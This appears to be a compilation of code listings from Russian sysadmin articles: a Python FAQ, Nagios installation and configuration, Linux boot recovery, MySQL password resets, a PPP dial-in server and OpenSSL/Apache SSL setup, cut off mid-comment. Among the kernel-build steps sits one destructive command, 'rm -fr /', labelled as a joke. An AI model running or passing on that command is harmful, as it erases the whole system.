Faq Python - стр. 04 import binascii binascii.a2b_hex("E786AA80") ".".join(map(str, map(ord, binascii.a2b_hex("E786AA80")))) import socket socket.gethostbyname("www.host.ru") import os if os.access("/path/to/file", os.F_OK): # файл доступен import urllib urllib.unquote("http://www.host.ru/%61%62%63") >>> l = [[0]*2]*2 >>> l [[0, 0], [0, 0]] >>> l[0][0] = 1 >>> l [[1, 0], [1, 0]] # инициализируем два множества (повторы будут автоматически убраны, # так как одному ключу может соответствовать только одно значение) # set = {} for e in [1,2,3,4,1,5,6,1,4]: set[e] = 1 set1 = {} for e in [3,4,5,6]: set1[e] = 1 set.keys() # список элементов множества set.has_key(5) проверка принадлежности множеству # set.update(set1) объединение множеств (результат в set) пересечение множеств: # set2 = {} for e in set.keys(): if set1.has_key(e): set2[e] = 1 >>> a, b, c = 2, "text", 12.4 >>> print """a: %(a)05i, b: %(b)s, c: %(c)8.2f""" % vars() a: 00002, b: text, c: 12.40 Установка Nagios Андрей Бешков # tar zvxf zlib-1.1.4.tar.gz # cd zlib-1.1.4 # ./configure # make test # make install # tar zxvf libpng-1.2.5.tar.gz # cd libpng-1.2.5 # cp ./scripts/makefile.freebsd makefile # mkdir zlib # make all # make test Testing pngtest.png: Pass 0: rwrwrwrwrwrwrwrwrw Pass 1: rwrwrwrwrwrwrwrwrw Pass 2: rwrwrwrwrwrwrwrw Pass 3: rwrwrwrwrwrwrwrwrwrwrwrwrw rwrwrwrwrw Pass 4: rwrwrwrwrwrwrwrwrwrwrwrwrw rwrwrwrwrw Pass 5: rwrwrwrwrwrwrwrwrwrwrwrwrw rwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrw Pass 6: rwrwrwrwrwrwrwrwrwrwrwrwrw rwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrw PASS (9782 zero samples) Filter 0 was used 21 times Filter 1 was used 15 times Filter 2 was used 52 times Filter 3 was used 10 times Filter 4 was used 33 times tIME = 7 Jun 1996 17:58:08 +0000 Current memory allocation: 0 bytes Maximum memory allocation: 337346 bytes Total memory allocation: 1023516 bytes Number of allocations: 198 libpng passes test mkdir /usr/local/include/libpng # make install # tar zxvf jpegsrc.v6b.tar.gz # cd jpeg-6b # ./configure # make # make test rm -f testout* ./djpeg -dct int -ppm -outfile testout.ppm ./testorig.jpg ./djpeg -dct int -bmp -colors 256 -outfile testout.bmp ./testorig.jpg ./cjpeg -dct int -outfile testout.jpg ./testimg.ppm ./djpeg -dct int -ppm -outfile testoutp.ppm ./testprog.jpg ./cjpeg -dct int -progressive -opt -outfile testoutp.jpg ./testimg.ppm ./jpegtran -outfile testoutt.jpg ./testprog.jpg cmp ./testimg.ppm testout.ppm cmp ./testimg.bmp testout.bmp cmp ./testimg.jpg testout.jpg cmp ./testimg.ppm testoutp.ppm cmp ./testimgp.jpg testoutp.jpg cmp ./testorig.jpg testoutt.jpg # make install # tar zxvf gd-2.0.6.tar.gz # cd gd-2.0.6 # ./configure --x-includes=/usr/local/include --x-libraries=/usr/local/lib # make all # make devclean # make install # cd /usr/ports/graphics/gd # make install # /stand/sysinstall Configure->Packages->CD/DVD->graphics->gd-1.8.4_3->ok->install->ok # tar zxvf nagios-1.0b6.tar.gz # cd nagios-1.0b6 # mkdir /usr/local/nagios # adduser nagios # ./configure --prefix=/usr/local/nagios --with-cgi-url=/nagios/cgi-bin --with-html-url=/nagios/ \ --with-nagios-user=nagios --with-nagios-grp=nagios --with-gd-lib=/usr/local/lib \ --with-gd-inc=/usr/local/include/gd # make all # make install # make install-init /usr/bin/install -c -m 755 -d -o root -g root /usr/local/etc/rc.d install: unknown group root *** Error code 67 Stop in /tmp/nagios-1.0b6. INIT_OPTS=-o root -g root INIT_OPTS=-o root -g wheel $(INSTALL) -m 774 $(INIT_OPTS) daemon-init $(DESTDIR)$(INIT_DIR)/nagios $(INSTALL) -m 100 $(INIT_OPTS) daemon-init $(DESTDIR)$(INIT_DIR)/nagios.sh # make install-init echo "Usage: nagios {start|stop|restart|reload|force-reload|status}" /usr/local/etc/rc.d/nagios.sh start NagiosCmd=${prefix}/var/rw/nagios.cmd NagiosCmd=${prefix}/var/nagios.cmd sleep 1 status_nagios nagios chown nobody $NagiosCmd # ls /usr/local/nagios bin etc sbin share var # make install-config # tar zxvf nagiosplug-1.3-beta1.tar.gz # cd nagiosplug-1.3-beta1 # ./configure --prefix=/usr/local/nagios --with-nagios-user=nagios --with-nagios-grp=nagios # gmake all # gmake install # check_dns -h check_dns (nagios-plugins 1.3.0-alpha1) 1.1.1.1 The nagios plugins come with ABSOLUTELY NO WARRANTY. You may redistribute copies of the plugins under the terms of the GNU General Public License. For more information about these matters, see the file named COPYING. Copyright (c) 1999 Ethan Galstad (nagios@nagios.org) Usage: check_dns -H host [-s server] [-t timeout] check_dns --help check_dns --version -H, --hostname=HOST The name or address you want to query -s, --server=HOST Optional DNS server you want to use for the lookup -t, --timeout=INTEGER Seconds before connection times out (default: 10) -h, --help Print detailed help -V, --version Print version numbers and license information This plugin uses the nslookup program to obtain the IP address for the given host/domain query. A optional DNS server to use may be specified. If no DNS server is specified, the default server(s) specified in /etc/resolv.conf will be used. # check_dns -H 192.168.10.254 DNS ok - 0 seconds response time, Address(es) is/are 192.168.10.254 # cd /usr/local/nagios/etc # ll total 92 -rw-rw-r-- 1 nagios nagios 17028 Nov 11 15:41 cgi.cfg-sample -rw-rw-r-- 1 nagios nagios 4480 Nov 11 15:41 checkcommands.cfg-sample -rw-rw-r-- 1 nagios nagios 1577 Nov 11 15:41 contactgroups.cfg-sample -rw-rw-r-- 1 nagios nagios 1485 Nov 11 15:41 contacts.cfg-sample -rw-rw-r-- 1 nagios nagios 1651 Nov 11 15:41 dependencies.cfg-sample -rw-rw-r-- 1 nagios nagios 2022 Nov 11 15:41 escalations.cfg-sample -rw-rw-r-- 1 nagios nagios 1658 Nov 11 15:41 hostgroups.cfg-sample -rw-rw-r-- 1 nagios nagios 5774 Nov 11 15:41 hosts.cfg-sample -rw-rw-r-- 1 nagios nagios 4277 Nov 11 15:41 misccommands.cfg-sample -rw-rw-r-- 1 nagios nagios 21332 Nov 11 15:41 nagios.cfg-sample -rw-rw---- 1 nagios nagios 3074 Nov 11 15:41 resource.cfg-sample -rw-rw-r-- 1 nagios nagios 17668 Nov 11 15:41 services.cfg-sample -rw-rw-r-- 1 nagios nagios 1594 Nov 11 15:41 timeperiods.cfg-sample # mkdir sample # cp * ./sample# ll total 94 -rw-rw-r-- 1 nagios nagios 17028 Nov 11 16:13 cgi.cfg -rw-rw-r-- 1 nagios nagios 4480 Nov 11 16:13 checkcommands.cfg -rw-rw-r-- 1 nagios nagios 1577 Nov 11 16:13 contactgroups.cfg -rw-rw-r-- 1 nagios nagios 1485 Nov 11 16:13 contacts.cfg -rw-rw-r-- 1 nagios nagios 1651 Nov 11 16:13 dependencies.cfg -rw-rw-r-- 1 nagios nagios 2022 Nov 11 16:13 escalations.cfg -rw-rw-r-- 1 nagios nagios 1658 Nov 11 16:13 hostgroups.cfg -rw-rw-r-- 1 nagios nagios 5774 Nov 11 16:13 hosts.cfg -rw-rw-r-- 1 nagios nagios 4277 Nov 11 16:13 misccommands.cfg -rw-rw-r-- 1 nagios nagios 21332 Nov 11 16:13 nagios.cfg -rw-rw---- 1 nagios nagios 3074 Nov 11 16:13 resource.cfg drwxr-xr-x 2 root nagios 512 Nov 11 16:07 sample -rw-rw-r-- 1 nagios nagios 17668 Nov 11 16:13 services.cfg -rw-rw-r-- 1 nagios nagios 1594 Nov 11 16:13 timeperiods.cfg # cp /dev/null hosts.cfg services.cfg contacts.cfg contactgroups.cfg hostgroups.cfg # cp /dev/null dependencies.cfg escalations.cfg # Описываем шаблон хоста define host{ name generic-host # Имя шаблона – будем ссылаться на # него позже при описании каждого # хоста notifications_enabled 1 # Включаем уведомления event_handler_enabled 1 # Включаем обработчик событий flap_detection_enabled 1 # Включаем обнаружение мерцания process_perf_data 1 # Собирать статистику об эффектив- # ности работы процесса retain_status_information 1 # Сохранять статусную информацию # между перезагрузками программы retain_nonstatus_information 1 # Сохранять нестатусную информацию # между перезагрузками программы register 0 # Указываем, что все вышеописанное – # это шаблон. Запрещаем регистриро- # вать это описание как хост } # Описываем хост по имени mail define host{ use generic-host # Ссылка на используемый шаблон host_name mail # Имя хоста alias Mail Server # Псевдоним хоста address mail.regata.ru # Имя хоста в формате fqdn или его # адрес check_command check-host-alive # Команда проверки хоста выполняется # обычно с помощью ping. Подробнее # можно почитать в файле # checkcommands.cfg max_check_attempts 10 # Количество попыток повторного тес- # тирования, после того как одна из # попыток возвратила ошибочный # статус. notification_interval 120 # Интервал в минутах, по прошествию # которого нужно повторно отсылать # уведомление, если сервер все еще # не работает. notification_period 24x7 # Период времени, в течение которого # серверу разрешено беспокоить адми- # нистратора своими уведомлениями. # В данном случае это круглые сутки. # Подробнее о периодах можно # почитать в файле timeperiods.cfg. notification_options d,u,r # Список событий, при наступлении # которых необходимо отсылать # уведомления. Соответственно d,u,r # (DOWN, UNREACHABLE, RECOVERY) # означает события “работает”, # “недоступен”, “восстановлен”. } # Описываем хост по имени proxy define host{ use generic-host host_name proxy # Имя хоста. Также стоит обратить # внимание на изменившиеся записи # alias и address. alias Proxy Server address proxy.regata.ru check_command check-host-alive max_check_attempts 10 notification_interval 120 notification_period 24x7 notification_options d,u,r } define hostgroup{ hostgroup_name regata-servers # Имя группы alias Regata Servers # Псевдоним группы contact_groups regata-admins # Список групп контактов, которые # нужно уведомлять members mail proxy # Список серверов, принадлежащих к # группе } # Описываем шаблон сервиса define service{ name generic-service # Имя шаблона active_checks_enabled 1 # Включить активные проверки passive_checks_enabled 1 # Принимать результаты пассивных # проверок parallelize_check 1 # Активные проверки лучше выполнять # параллельно – такой подход # повышает скорость работы obsess_over_service 0 # Эту опцию стоит включать только # при создании распределенной # системы мониторинга check_freshness 0 # Следить за свежестью результатов # проверок. По умолчанию отключено notifications_enabled 1 # Уведомления включены event_handler_enabled 1 # Включить обработчики событий flap_detection_enabled 1 # Использовать обнаружение мерцания process_perf_data 1 # Собирать данные об эффективности # выполнения проверок retain_status_information 1 # Сохранять информацию о статусе # между перезапусками Nagios retain_nonstatus_information 1 # Сохранять нестатусную информацию # между перезапусками Nagios register 0 # Запрещаем регистрировать это # описание как сервис } # Описываем сервис HTTP для хоста # proxy.regata.rudefine service{ use generic-service # Имя используемого шаблона hostname proxy.regata.ru # Имя хоста service_description HTTP # Описание сервиса is_volatile 0 # Для стандартных сервисов лучше # оставить значение 0. К нестандарт- # ным сервисам стоит относить те # сервисы, которые после каждой # проверки автоматически возвращаются # в состояние “ОК” вне зависимости # от режима, в котором они # находились до проверки. check_period 24x7 # Период, в течение которого можно # выполнять проверки max_check_attemps 3 # Максимальное количество повторных # проверок normal_check_interval 5 # Интервал между нормальными # проверками retry_check_interval 1 # Интервал между повторными провер- # ками. Применяется, если нормальная # проверка завершилась неудачно contact_groups regata-admins # Группа контактов, используемая # для оповещения notification_interval 120 # Интервал (в минутах), после # которого нужно послать повторное # уведомление, если сервис так и не # восстановился notification_period 24x7 # Период, в течение которого можно # производить отправку уведомлений notification_options w,u,c,r # Список событий, при наступлении # которых необходимо # отсылать уведомления. check_command check_http # Имя команды, выполняемой для # проверки сервиса } # Описываем сервис PING для хоста # proxy.regata.rudefine service{ use generic-service # Имя используемого шаблона hostname proxy.regata.ru # Имя хоста service_description PING # Описание сервиса is_volatile 0 check_period 24x7 # Период, в течение которого можно # выполнять проверки max_check_attemps 3 # Максимальное количество повторных # проверок normal_check_interval 5 # Интервал между нормальными # проверками retry_check_interval 1 # Интервал между повторными провер- # ками. Применяется, если нормаль- # ная проверка завершилась неудачно contact_groups regata-admins # Группа контактов, используемая # для оповещения notification_interval 120 # Интервал (в минутах), после # которого нужно послать повторное # уведомление, если сервис так и не # восстановился notification_period 24x7 # Период, в течение которого можно # производить отправку уведомлений notification_options w,u,c,r # Список событий, при наступлении # которых необходимо # отсылать уведомления. check_command check_ping # Имя команды, выполняемой для # проверки сервиса } # Описываем сервис SMTP для хоста # mail.regata.rudefine service{ use generic-service hostname mail.regata.ru service_description SMTP # Описание сервиса is_volatile 0 check_period 24x7 max_check_attemps 3 normal_check_interval 5 retry_check_interval 1 contact_groups regata-admins notification_interval 120 notification_period 24x7 notification_options w,u,c,r check_command check_smtp # Имя команды, выполняемой для # проверки сервиса } # Описываем сервис IMAP для хоста # mail.regata.rudefine service{ use generic-service hostname mail.regata.ru service_description IMAP # Описание сервиса is_volatile 0 check_period 24x7 max_check_attemps 3 normal_check_interval 5 retry_check_interval 1 contact_groups regata-admins notification_interval 120 notification_period 24x7 notification_options w,u,c,r check_command check_imap # Имя команды, выполняемой для # проверки сервиса } # 'check_imap' command definition define command{ command_name check_imap command_line $USER1$/check_imap -H $HOSTADDRESS$ } define contact{ contact_name tigrisha # Имя контакта alias Andrei Beshkov # Имя человека service_notification_period 24x7 # Период времени, в течение которого # разрешено посылать уведомления # о состоянии сервисов host_notification_period 24x7 # Период времени, в течение которого # разрешено посылать уведомления # о состоянии хостов service_notification_options w,u,c,r # Список событий сервисов, при # наступлении которых необходимо # отсылать уведомления. host_notification_options d,u,r # Список событий хостов, при # наступлении которых необходимо # отсылать уведомления service_notification_commands notify-by-email, notify-by-epager # Команды рассылки уведомлений о # событиях сервиса host_notification_commands host-notify-by-email, host-notify-by-epager # Команды рассылки уведомлений о # событиях хоста email admin@regata.ru # Почтовый адрес pager 150345865@pager.icq.com # Адрес системы пейджинга } define contact{ contact_name amon # Имя контакта alias Dmitry Larin # Имя человека service_notification_period 24x7 # Период времени, в течение которого # разрешено посылать уведомления о # состоянии сервисов host_notification_period 24x7 # Период времени, в течение которого # разрешено посылать уведомления о # состоянии хостов service_notification_options w,u,c,r # Список событий сервисов, при # наступлении которых необходимо # отсылать уведомления. host_notification_options d,u,r # Список событий хостов, при # наступлении которых необходимо # отсылать уведомления. service_notification_commands notify-by-email, notify-by-epager # Команды рассылки уведомлений о # событиях сервиса host_notification_commands host-notify-by-email, host-notify-by-epager # Команды рассылки уведомлений о # событиях хоста email amon@regata.ru # Почтовый адрес pager 150345865@pager.icq.com # Адрес системы пейджинга } define contactgroup{ contactgroup_name regata-admins # Имя контактной группы alias regata.ru Admins # Псевдоним группы members tigrisha amon # Список контактов, состоящих в # группе } # /usr/local/etc/rc.d/nagios.sh Starting network monitor: nagios /bin/sh: -l: unrecognized option # /usr/local/etc/rc.d/nagios.sh status PID TT STAT TIME COMMAND 101 ?? Ss 0:20.81 /usr/local/nagios/bin/nagios -d /usr/local/nagios/etc # chown –R nagios:nagios /usr/local/nagios/ # /usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg AllowOverride None Options None Order allow,deny Allow from all ScriptAlias /nagios/cgi-bin/ "/usr/local/nagios/sbin/" AllowOverride AuthConfig Options ExecCGI Order allow,deny Allow from all Alias /nagios/ /usr/local/nagios/share/ AllowOverride AuthConfig Options None Order allow,deny Allow from all AuthName "Nagios Access" AuthType Basic AuthUserFile /usr/local/nagios/etc/htpasswd.users require valid-user # /usr/local/apache/bin/apachectl restart # /usr/local/apache/bin/tpasswd -c /usr/local/nagios/etc/htpasswd.users tigrisha New password: ****** Re-type new password: ****** Adding password for user tigrisha # /usr/local/apache/bin/htpasswd /usr/local/nagios/etc/htpasswd.users amon New password: ****** Re-type new password: ****** Adding password for user amon authorized_for_system_information=tigrisha, amon # Список пользователей, которым # разрешен просмотр информации о # работе процесса Nagios authorized_for_configuration_information= tigrisha, amon # Список пользователей, которым # разрешен просмотр информации о # конфигурации всех хостов и # сервисов. По умолчанию пользователь # может смотреть конфигурацию только # хостов и сервисов, принадлежащих # к его контактной группе. authorized_for_system_commands=tigrisha, amon # Список пользователей, авторизо- # ванных для выполнения через # cmd.cgi команд управления # процессом Nagios. authorized_for_all_services=tigrisha, amon authorized_for_all_hosts=tigrisha, amon # Эти два параметра определяют список # пользователей, которым разрешен # просмотр информации обо всех # наблюдаемых хостах и сервисах. # По умолчанию пользователь может # видеть только те хосты и сервисы, # которые принадлежат к его # контактной группе. refresh_rate=10 # Частота обновления (в секундах) # информации, просматриваемой через # веб-интерфейс. По умолчанию # установлено 90 секунд, но нам # такой большой интервал не подходит. # Поэтому поставим 10 секунд. use_authentication=1 # Включаем аутентификацию # пользователей check_external_commands=1 # Разрешаем обрабатывать команды, # передаваемые процессу Nagios # через веб-интерфейс. command_file=/usr/local/nagios/var/nagios.cmd # Местоположение файла внешних # команд. # /usr/local/etc/rc.d/nagios.sh restart Восстановление загрузки операционной системы Linux Андрей Шевченко mkdir -p /my_root_part mount /dev/hdXy /my_root_part chroot /my_root_part lilo (для LILO) aspldr -m (для ASPLoader) exit umount /my_root_part mkdir -p /my_dev mknod /my_dev/hda b 3 0 ... mknod /y_dev/hda15 b 3 15 mknod /my_dev/hdb b 3 64 ... mknod /my_dev/hdb15 b 3 79 mknod /my_dev/hdc b 22 0 ... mknod /my_dev/hdc15 b 22 15 mknod /my_dev/hdd b 22 64 ... mknod /my_dev/hdd15 b 22 79 FAQ Mysql ... user=root password=ваш_новый_пароль shell> mysql -u root mysql mysql> SET PASSWORD FOR root@localhost=PASSWORD('new_password'); shell> mysql -u root mysql mysql> UPDATE user SET Password=PASSWORD(“new_password”) WHERE user=’root’; mysql> FLUSH PRIVILEGES; shell> mysqladmin -u root password new_password mysql> SET PASSWORD=PASSWORD('new password'); mysql> FLUSH PRIVILEGES; путь_к_директории_MySQL\bin> mysql mysql mysql> DELETE FROM user WHERE Host='localhost' AND User=''; mysql> QUIT путь_к_директории_MySQL\bin>mysqladmin reload путь_к_директории_MySQL\bin>mysqladmin -u root password your_password путь_к_директории_MySQL\bin>mysqladmin --user=root --password=your_password shutdown Host User Password ... ---- ---- -------- ... % root % путь_к_директории_MySQL\bin> mysql -uroot -pyour_password mysql mysql> DELETE FROM user WHERE User=''; mysql> DELETE FROM user WHERE Password=''; mysql> QUIT путь_к_директории_MySQL\bin> mysqladmin -uroot -pyour_password reload mysql> CREATE DATABASE mydatabase_name; mysql> GRANT ALL PRIVILEGES ON mydatabase_name.* TO user_name@host_name IDENTIFIED BY 'password'; Как пингвин говорит по телефону, или настройка dialin-сервера для доступа в Интернет и аварийной консоли Андрей Мозговой 'make dep && make clean bzImage' 'make modules && make modules_install' 'make bzlilo' - ну или что у вас там 'rm -fr /' - шутка 'reboot' if (пакет уже установлен) { Убедитесь, что он собран с параметром -DAUTO_PPP. } else { Скачиваем последнюю версию mgetty с домашнего сайта (http://alpha.greenie.net/mgetty/), распаковываем и собираем с параметром -DAUTO_PPP. Процесс сборки хорошо описан в файле README.1st, но нет ничего плохого описать необходимые нам действия здесь. Во-первых, надо скопировать файл 'policy.h-dist' в 'policy.h'. Во-вторых, отредактировать файл 'Makefile', добавив в него заветный параметр. Флаг задается компилятору в 110-й строке. Открываем файл в редакторе, для кого в чем удобнее, я использую joe, спускаемся на нужную строку и добавляем: -DAUTOPPP получается: 'CFLAGS=-O2 -Wall -pipe -DAUTO_PPP' Вы можете добавить еще что-нибудь по вкусу, но это основное. Кстати, в зависимости от OS строка может видоизмениться(см. комментарии). Теперь собираем и, если все в порядке, инсталлируем: 'make && make install' } if (пакет уже установлен) { При настройке своего сервера я использовал версию, поставляемую в комплекте c дистрибутивом. Так что если у вас уже установлен этот пакет, убедитесь разве что в его «свежести». } else { Домашний сайт pppd располагается по адресу (http://www.samba.org/ppp/). Забираем последнюю версию – pppd-2.4.1 (на момент написания статьи). Распаковываем. В моем дистрибутиве пакет собран следующим образом. Добавлена поддержка callback'a 'zcat ppp-cbcp.diff.gz | patch -p0 —backup —suffix=.orig' 'zcat ppp.time.diff.gz | patch -p1 —backup —suffix=.orig' './configure' 'make && make install' } --- ВВОД --- ATZ OK AT&F1 OK ATC10=17 OK AT&F1 OK AT&P1 OK AT&W OK --- EOF --- --- mgetty.config --- data-only y init-chat "" AT OK ATZ OK --- mgetty.config --- --- login.config --- /AutoPPP/ - pppd /usr/sbin/pppd file /etc/ppp/options * - - /bin/login @ --- login.config --- --- inittab --- D005:345:respawn:/usr/local/sbin/mgetty -s 57600 /dev/ttyD005 ttyD005 D006:345:respawn:/usr/local/sbin/mgetty -s 115200 /dev/ttyD006 ttyD006 --- inittab --- id:runlevels:action:process 's1:12345:respawn:/usr/local/sbin/mgetty -s 57600 /dev/ttyS1 ttyS1' --- /etc/ppp/options --- 192.168.1.1: ms-dns ms-dns ms-wins ms-wins asyncmap 0 auth crtscts lock modem -detach +pap -chap debug usehostname proxyarp lcp-echo-interval 30 lcp-echo-failure 4 --- /etc/ppp/options --- : --- ls -1 --- options options.ttyD000 options.ttyD001 options.ttyD002 ... --- ls -1 --- образом: --- cat options.ttyS0 --- :192.168.1.2 – двоеточие обязательно! --- cat options.ttyS0 --- --- cat pap-secrets --- # Secrets for authentication using PAP #client server secret ip-addr test * passfortest * test1 * passfortest1 * --- cat pap-secrets --- Практика OpenSSl Всеволод Стахов $ cd /usr/src/apache_1.3.x/src $ SSL_BASE=/usr/src/mod_ssl/ ./configure — ... –enable-module=ssl dd if=/dev/urandom of=/etc/openssl/.rnd -count 64 openssl genrsa -rand /etc/openssl/.rnd -des3 -out /etc/openssl/org.key openssl req -new -key /etc/openssl/org.key -config \ /etc/openssl/org.cnf -out /etc/openssl/org.csr openssl x509 -req -signkey /etc/openssl/org.key -in /etc/openssl/org.csr \ -extfile /etc/openssl/org.cnf -out /etc/openssl/org.crt -days 365 [ req ] default_bits = 1024 distinguished_name = req_DN RANDFILE = ca.rnd extensions = v3_req [ req_DN ] countryName = "1. Country Name (2 letter code)" countryName_default = RU countryName_min = 2 countryName_max = 2 stateOrProvinceName = "2. State or Province Name (full name)" stateOrProvinceName_default = region localityName = "3. Locality Name (eg, city)" localityName_default = city 0.organizationName = "4. Organization Name (eg, company)" 0.organizationName_default = organization organizationalUnitName = "5. Organizational Unit Name (eg, section)" organizationalUnitName_default = Certificate Authority commonName = "6. Common Name (eg, CA name) " commonName_max = 64 commonName_default = "" emailAddress = "7. Email Address (eg,cert@organization.ru)" emailAddress_max = 40 emailAddress_default = "" [ v3_req ] subjectAltName = email:copy basicConstraints = CA:true nsComment = "CA certificate of our organization" nsCertType = sslCA dd if=/dev/urandom of=/etc/openssl/.rnd count=64 openssl genrsa -rand /etc/openssl/.rnd -out /etc/openssl/httpd.key openssl req -new -key /etc/openssl/httpd.key -config /etc/openssl/httpd.cnf \ -out /etc/openssl/httpd.csr openssl x509 -req -signkey /etc/openssl/org.key -CA /etc/openssl/org.crt \ -extfile /etc/openssl/httpd.conf -out /etc/openssl/httpd.crt \ -days 365 extensions = v3_req [ v3_req ] basicConstraints = CA:false nsComment = "Apache server certificate" nsCertType = server httpd.conf # Загружаем модуль ssl (он может находиться в modules или # extramodules). Учтите, если вы используете модуль mod_php, # то его необходимо добавить ПОСЛЕ модуля ssl, иначе # последствия могут быть печальны (core dumpted). LoadModule ssl_module modules/libssl.so AddModule mod_ssl.c # Добавляем некоторые MIME-типы. AddType application/x-x509-ca-cert .crt AddType application/x-pkcs7-crl .crl AddType application/x-pkcs12-cert .p12 # Слушаем на порту 443(https). Listen 443 # Определяем способ запроса пароля к секретному ключу # сервера как built-in, или можно определить путь к # внешнему скрипту, но в большинстве случаев достаточно # built-in-метода. SSLPassPhraseDialog builtin # Определяем кеширование данных ssl в файле данных # (none для отключения кеширования) и таймаут обновления # данных в кеше. Можно использовать при указании файла # кеша специальный формат shm (shm:/path/file [size]), # который обеспечивает высокую производительность и # работает через механизм shared memory. SSLSessionCache dbm:logs/ssl_scache #SSLSessionCache none SSLSessionCacheTimeout 300 # Настраиваем генератор случайных чисел, указываем метод # для рандомизации. Указывается два источника рандомизации: # начальный (startup) и инициализирующийся при присоединении # клиента (connect). Возможные значения для этого параметра: # builtin – встроенный источник рандомизации, # file:имя_файла – читаются данные из файла, # file:имя_файла число_байт – читается только определённое # число байт из файла (полезно для /dev/random # и /dev/urandom) SSLRandomSeed startup file:/dev/random 512 SSLRandomSeed connect file:/dev/random 512 #SSLRandomSeed startup builtin #SSLRandomSeed connect builtin #SSLRandomSeed startup file:/dev/urandom 512 #SSLRandomSeed connect file:/dev/urandom 512 # Настраиваем логи ssl. Указываем файл и уровень записи # в лог, возможные значения уровня по возрастающему числу # регистрируемых данных: none, error, warn, info, trace, # debug. SSLLog logs/ssl_engine_log SSLLogLevel info vhosts.conf # Определяем виртуальный сервер, висящий на том же # IP-адресе, что и основной, но слушающий на 443 порту. # Основные настройки виртуального сервера. DocumentRoot /var/www/html ServerName www.test.ru ServerAdmin admin@test.ru ErrorLog logs/ssl-error_log TransferLog logs/ssl-access_log # Следующая директива включает ssl для данного # виртуального сервера. SSLEngine on # Список доступных алгоритмов шифрования. Формат списка # такой же, как и у команды openssl ciphers (MEDIUM, HIGH, # NULL, элементы разделяются :, исключение элемента # осуществляется знаком !). SSLCipherSuite HIGH:MEDIUM # Сертификат сервера. Данный сертификат должен быть в # формате pem. SSLCertificateFile /etc/openssl/httpd.crt # Секретный ключ сервера, которым он будет расшифровывать # данные клиента. Если ключ зашифрован, то при запуске # апача будет спрашиваться пароль, как определено # в опции SSLPassPhraseDialog. SSLCertificateKeyFile /etc/openssl/httpd.key # Следующие директивы описывают CA-сертификаты. Если указан # параметр SSLCACertificatePath, то CA-сертификаты # загружаются из указанного каталога (в этом каталоге должны # также размещаться символические ссылки с именем # hash-value.N, при добавлении нового файла сертификата # в данный каталог необходимо воспользоваться специальным # makefile, идущим вместе с модулем). Если указан параметр # SSLCACertificateFile, то все СА-сертификаты хранятся # в одном pem-файле (сертификаты просто записываются один # за другим в данный файл без всяких разделитетлей, # т.к. любой сертификат имеет маркер начала и конца) #SSLCACertificatePath @@ServerRoot@@/conf/ssl/ssl.crt SSLCACertificateFile /etc/openssl/org.crt # Список сертификатов, которые считаются # недействительными (certificate revocation list - CRL) # по неким причинам: по происшествии срока действия, # по потере секретного ключа и.т.д. Это понятие требует # некоторого объяснения, поэтому после данного примера # я расскажу (несколько запоздало) о создании такого списка. # Синтаксис этих парметров аналогичен предыдущим #SSLCARevocationPath @@ServerRoot@@/conf/ssl/ssl.crl SSLCARevocationFile /etc/openssl/ssl.crl # Аутентификация клиента на основании его сертификата, # выданного CA (см. опцию SSLCACertificate). В глобальной # конфигурации я установил эту опцию в none, но эта опция # может быть переопределена в конкретной # или , как и сделано в данном примере # SSLVerifyClient none. Теперь определим некий раздел, # доступ в который предоставим только сотрудникам # определённых отделов. Клиент должен будет послать свой # сертификат, который подписан одним из CA-сертификатов. # Требуем от клиента посылки своего сертификата для # выполнения аутентификации. SSLVerifyClient require # Число шагов от сертификата клиента до CA-сертификата # в иерархии сертификатов. SSLVerifyDepth 5 # Проверка сертификата клиента. Для начала необходимо, # чтобы сертификат клиента был подписан одним из CA- # сертификатов, тогда сервер может быть уверен, что # сертификат клиента является действительным, кроме этого, # полученный сертификат не должен находиться в списке # недействительных (crl) сертификатов. Синтаксис данной # команды с первого взгляда может показаться несколько # сложным, но он использует регулярные выражения, подобные # перловским, и логические операторы (and, or, !). # В качестве переменных могут использоваться как стандартные # переменные, вроде REMOTE_ADDR, TIME, так и переменные # ssl. Среди последних наиболее полезны следующие: # SSL_CIPHER, SSL_CLIENT_S_DN_(параметры DN клиента, # вроде O, OU, С и.т.д.), SSL_CLIENT_I_DN_(параметры # DN поставщика сертификата). SSLRequire %{SSL_CIPHER} !~ m/^(EXP|NULL)-/ \ and %{SSL_CLIENT_S_DN_O} eq "organization" \ and %{SSL_CLIENT_S_DN_OU} in {"Sysopka", "CA", "BigBosses"} # Определяем опции ssl (они могут быть переопределены в # ): # FakeBasicAuth: # Данная опция говорит апачу, что можно использовать # аутентификацию на основе сертификата, но настройки # фильтрации сертификата лежат в файле .htpasswd, # который выглядит примерно следующим образом: #/C=RU/L=city/O=organization/OU=sysopka CN=admin:xxj31ZMTZzkVA #/C=RU/L=city/O=organization/OU=bosses/ CN=my_boss:xxj31ZMTZzkVA #/C=US/L=New York/O=Microsoft/OU=head/ CN=Billy:xxj31ZMTZzkVA # Где символы "xxj31ZMTZzkVA" – это des-вариант слова # password (необходимое условие), на некоторых системах # нужно здесь поставить md5-хеш этого слова #$1$OXLyS...$Owx8s2/m9/gfkcRVXzgoE/. # ExportCertData: # Данный параметр устанавливает, что CGI-скриптам будут # передаваться переменные SSL_SERVER_CERT (всегда), # SSL_CLIENT_CERT (если клиент послал свой сертификат), # которые содержат сертификаты сервера и клиента # соответственно в формате pem. # StrictRequire: # Эта опция применяется совместно с опцией satisfy и # обеспечивает запрет доступа клиента, если его # сертификат не соответствует RequireSSL # OptRenegotiate: # Данная опция применяется только в параметрах # и заставляет ssl заново инициализировать соединение # с клиентом #SSLOptions +FakeBasicAuth +ExportCertData +CompatEnvVars #+StrictRequire # Переменные, устанавливаемые для некоторых браузеров. # Вообще-то все браузеры должны получить перед завершением # ssl-сеанса сообщение от сервера, что соответствует # стандарту, но некоторые (особенно здесь красуется ослик) # очень некорректно (мягко говоря) завершают работу с ssl, # поэтому приходится устанавливать переменную # ssl-unclean-shutdown, которая говорит о том, что при # завершении соединения сервер не должен ни посылать # сообщение, ни принимать подтверждение от браузера # (что тоже может делаться некоторыми браузерами). Кроме # этого, ослик ещё в случае ssl-соединения плохо работает # с keepalive-сообщениями (вызывая разрыв ssl-соединения), # поэтому приходится устанавливать ещё переменную # nokeepalive. У осла также есть ещё пара недостатков: # он не работает с адресом вроде https://192.168.1.1 # и некоторые его версии не поддерживают работу с sslv3. # А вообще при выборе алгоритмов шифрования – # SSLCipherSuite – просмотрите список алгоритмов, # поддерживаемых клиентским браузером и, исходя из этого, # 